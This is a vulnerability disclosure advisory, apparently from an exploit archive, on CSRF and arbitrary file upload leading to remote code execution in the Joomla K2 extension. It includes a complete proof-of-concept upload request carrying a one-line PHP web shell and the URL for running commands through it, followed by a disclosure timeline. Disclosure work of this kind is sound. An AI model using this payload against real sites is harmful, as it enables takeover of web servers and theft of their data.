what you don't know can hurt you

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery
Posted Nov 20, 2016
Authored by Anti Rais

Joomla K2 extension versions 2.5.0 through 2.7.1 suffer from cross site request forgery and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, csrf
MD5 | 9d7f77f187bfa6b87e774aacdf424006

Joomla K2 2.7.1 Shell Upload / Cross Site Request Forgery

Change Mirror Download
K2 RCE via CSRF or WCI
######################

Information
===========

Name: K2 Joomla! Extension 2.5.0 - 2.7.1
Software: K2
Platform: Joomla 3.6.2
Homepage: https://getk2.org/, http://extensions.joomla.org/extension/k2
Vulnerability: RCE, arbitrary file upload, missing CSRF protection
Prerequisites: victim has to be authenticated user with administrator role
CVE: pending

Credit: Anti RA$?is
HTML version: https://bitflipper.eu

Product
=======

K2 is a Joomla! extension for complete replacement of the default
article system, which is used to edit the Joomla administration panel
and the website.


Description
===========

The administrator panel of K2 suffers from arbitrary file upload which
leads to arbitrary PHP code execution. An attacker could trick an
administrator to upload a malicious file (PHP shell) and execute
arbitrary PHP code using it. This functionality is available by default
to users with administrator role (admin, super user), therefore limiting
the attack surface to authenticated administrator users. The file upload
functionality isn't protected by CSRF token, which makes it possible to
exploit it by constructing a malicious request, which on execution
exploits the vulnerability, while the victim visits the attacker
controlled site. In addition, the attacker can use a WCI vulnerability
on the site to exploit the arbitrary file upload vulnerability.
Successful exploitation could lead to full site compromise.

Proof of Concept
================

Presumption: attacker has access to Joomla administrator account; or
uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code.

Let's presume the attacker has access to an account with file upload
privilege. Files can be uploaded by using the K2 "Media manager"
functionality.

URL: http://victim.site/administrator/index.php?option=com_k2&view=media

==================== request ========================
POST /administrator/index.php?option=com_k2&view=media&task=connector
HTTP/1.1
Host: victim.site
Content-Length: 460
Origin: http://victim.site
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n
Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk;
csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1;
9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567;
7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2;
9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0;
joomla_user_state=logged_in;
joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW
Connection: close

------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="upload[]"; filename="sh.php"
Content-Type: application/x-php

<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>
------WebKitFormBoundaryxyHoCnAa7sl8Av8n--
==================== request end ====================

Parameter "target" specifies the "root" directory for the "Media
manager" and is the same across installations (same version; not tested
with older ones). PHP and other files starting with a dot (e.g
".htacces") are hidden, but are accessible directly. File is uploaded in
the "images" folder and can be directly accessed.

URL to execute PHP shell:
http://victim.site/images/sh.php?x=ls%20-lah

Timeline
========

* 06.08.2016 | me > developer | vulnerability discovered and initial contact
* 08.08.2016 | me > developer | sent the report to the developers
* 10.08.2016 | developer > me | issue acknowledged
* 10.08.2016 | me > DWF | CVE request - no response
* 11.08.2016 | developer > me | inadequate fix: update elFinder plugin;
responded with bypass
* 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin
configuration
* 15.08.2016 | me > developer | responded with bypass
* 17.08.2016 | developer > me | inadequate fix: added CSRF protection
* 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to
exploit RCE
* 25.08.2016 | me > developer | asked for fix timeline
* 26.08.2016 | developer > me | responded with time estimation
* 27.08.2016 | me > developer | reminded that target site is exploitable
when combined with WCI vulnerability
* 20.09.2016 | me > developer | no patch available; contacted developer
about the release status - no feedback
* 11.10.2016 | me > developer | no patch available; contacted developer
about the progress - no feedback
* 19.11.2016 | me > public | full disclosure

---
Anti RA$?is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close